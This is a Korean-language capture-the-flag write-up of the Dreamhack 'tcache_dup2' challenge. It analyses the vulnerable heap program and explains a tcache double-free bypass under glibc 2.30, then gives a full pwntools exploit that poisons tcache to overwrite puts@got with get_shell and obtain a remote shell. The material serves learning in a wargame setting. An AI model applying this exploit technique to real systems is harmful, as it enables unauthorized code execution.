Wargame/Dreamhack

tcache_dup2

wyv3rn 2022. 8. 3. 20:36
728x90
반응형

문제 파일 압축을 풀어보면 이번에는 libc 버전이 2.30이다.

아래 링크에서 설명한 것과 같이  2.29 버전부터는 패치되어 다른 방법을 사용해야한다.

https://wyv3rn.tistory.com/75

 

heap tcache poisoning & double free

tcache libc > 2.25 이후부터 적용된 heap 관리 방법이며, 2.29부터는 패치 되었다. 사실 아래 내용 다 필요 없이 같은 공간에 free가 두번 들어가며, free 시 앞에 사용한 heap 영역의 주소를 가져오기 때문

wyv3rn.tistory.com

 

더불어 libc에 맞는 ld 파일을 찾아야하므로 아래 사이트에서 찾아보자.

http://old-releases.ubuntu.com/ubuntu/pool/main/g/glibc/

 

Index of /ubuntu/pool/main/g/glibc

 

old-releases.ubuntu.com

하나씩 뒤지다가 libc6-amd64_2.30-0ubuntu2.2_i386.deb 파일 내에서 찾아냈다.

libc 및 ld 파일을 교체해주자.

ld-2.30.so
0.17MB

 

우선 코드부터 분석.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
        size_t size;

        if( idx >= 7 ) 
                exit(0);

        printf("Size: ");
        scanf("%ld", &size);

        ptr[idx] = malloc(size);

        if(!ptr[idx])
                exit(0);

        printf("Data: ");
        read(0, ptr[idx], size-1);

}

void modify_heap() {
        size_t size, idx;

        printf("idx: ");
        scanf("%ld", &idx);

        if( idx >= 7 ) 
                exit(0);

        printf("Size: ");
        scanf("%ld", &size);

        if( size > 0x10 ) 
                exit(0);

        printf("Data: ");
        read(0, ptr[idx], size);
}

void delete_heap() {
        size_t idx;

        printf("idx: ");
        scanf("%ld", &idx);
        if( idx >= 7 ) 
                exit(0);

        if( !ptr[idx] ) 
                exit(0);

        free(ptr[idx]);
}

void get_shell() {
        system("/bin/sh");
}
int main() {
        int idx;
        int i = 0;

        initialize();

        while(1) {
                printf("1. Create heap\n");
                printf("2. Modify heap\n");
                printf("3. Delete heap\n");
                printf("> ");

                scanf("%d", &idx);

                switch(idx) {
                        case 1:
                                create_heap(i);
                                i++;
                                break;
                        case 2:
                                modify_heap();
                                break;
                        case 3:
                                delete_heap();
                                break;
                        default:
                                break;
                }
        }
}

main 함수에서 3개의 메뉴를 받으며, 각각 heap 할당, heap 데이터 수정, heap 삭제의 기능을 가지고 있다.

  1. create heap
    1. 만일 idx 값이 7보다 크면 종료한다. 즉 main_arena에서 heap 관리가 되지 않도록 한다.
    2. 이후 size를 입력받아 heap 영역에 할당하고, size - 1의 크기만큼 값을 받아들인다.
  2. modify heap
    1. 마찬가지로 idx값이 7보다 크면 종료한다.
    2. 수정할 size를 입력 받고, 만일 사이즈가 0x10보다 크면 종료한다. 그러므로 다른 heap 영역으로의 침범이 불가하다.
    3. 그리고 데이터를 입력 받고 size의 크기만큼 값을 받아들인다.
  3. delete heap
    1. 마찬가지로 idx값이 7보다 크면 종료한다.
    2. 선택한 heap 영역을 free 한다.
  4. 마지막으로 숨겨진 함수로 get_shell이 있다.

 

이제 tcache poisoning이 가능한지 테스트해보자.

버전이 높기 때문에 double free는 일단 불가능하다.

┌──(kali㉿kali)-[~/Downloads]
└─$ ./tcache_dup2 
1. Create heap
2. Modify heap
3. Delete heap
> 1
Size: 16
Data: aaaaa  
1. Create heap
2. Modify heap
3. Delete heap
> 3
idx: 0
1. Create heap
2. Modify heap
3. Delete heap
> 3 
idx: 0
free(): double free detected in tcache 2
zsh: IOT instruction  ./tcache_dup2

하지만 modifiy 기능이 있기에 대신 bk 영역의 1 byte를 수정해줌으로써 double free가 가능하며, 이를 통해 tcache poisoning이 가능할 것으로 예상된다.

 

즉,
할당 -> 해제 -> tcache에 삽입할 주소 입력 및 bk 수정 -> 할당
을 통해 tcache poisoning이 가능하며, 이를 통해 특정 영역에 heap을 할당하여 변조가 가능하다.

다만 데이터를 출력해주지는 않아 memory leak은 불가능하기에 writable area, 특히 got 을 활용하여 get_shell 함수를 실행하면 될 것 같다.

즉, 전체적인 공격 흐름은
double free 및 tcache poisoning을 이용한 got 영역에 get_shell 함수 주소 삽입
이 될 것이다.

gdb를 통해 함수 list와 main 함수 어셈블러 코드를 보면 앞선 문제와 마찬가지로 메뉴 출력 시 puts 함수를 사용하기에 puts@got에 get_shell 함수를 덮어씌우면 되겠다.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010d0  free@plt
0x00000000004010e0  puts@plt
...
gef➤  disas main
Dump of assembler code for function main:
...
   0x000000000040156e <+39>:    call   0x401256 <initialize>
   0x0000000000401573 <+44>:    lea    0xaaa(%rip),%rdi        # 0x402024
   0x000000000040157a <+51>:    call   0x4010e0 <puts@plt>
   0x000000000040157f <+56>:    lea    0xaad(%rip),%rdi        # 0x402033
   0x0000000000401586 <+63>:    call   0x4010e0 <puts@plt>
   0x000000000040158b <+68>:    lea    0xab0(%rip),%rdi        # 0x402042
   0x0000000000401592 <+75>:    call   0x4010e0 <puts@plt>
   0x0000000000401597 <+80>:    lea    0xab3(%rip),%rdi        # 0x402051
   0x000000000040159e <+87>:    mov    $0x0,%eax
...
   0x0000000000401602 <+187>:   jmp    0x401573 <main+44>
End of assembler dump.

공격을 위한 모든 값들은 pwntools로 가져올 수 있기 때문에 특별히 함수 주소를 찾아내지는 않고 바로 공격 코드를 작성해보자.

from pwn import *

p = remote('host3.dreamhack.games',22964)
#p = process('./tcache_dup2')
e = ELF('./tcache_dup2')

def crt(size,data):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def mod(idx,size,data):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b': ',idx)
    p.sendlineafter(b': ',size)
    p.sendafter(b': ',data)

def dlt(idx):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b': ',idx)

#make tcache counter to 2
crt(b'16',b'a')
dlt(b'0')
mod(b'0',b'16',b'a'*9)
dlt(b'0')

#insert puts@got to tcache
crt(b'16',b'a')
dlt(b'0')
puts_got = p64(e.got['puts']) + b'\x00' #last 1 byte is to change bk
mod(b'0',b'16',puts_got)
crt(b'16',b'a')

#insert get_shell address to puts@got
get_shell_add = p64(e.symbols['get_shell'])

crt(b'16',get_shell_add)

p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 22964: Done
[*] '/home/kali/Downloads/tcache_dup2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
[*] Switching to interactive mode
$ id
uid=1000(tcache_dup2) gid=1000(tcache_dup2) groups=1000(tcache_dup2)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형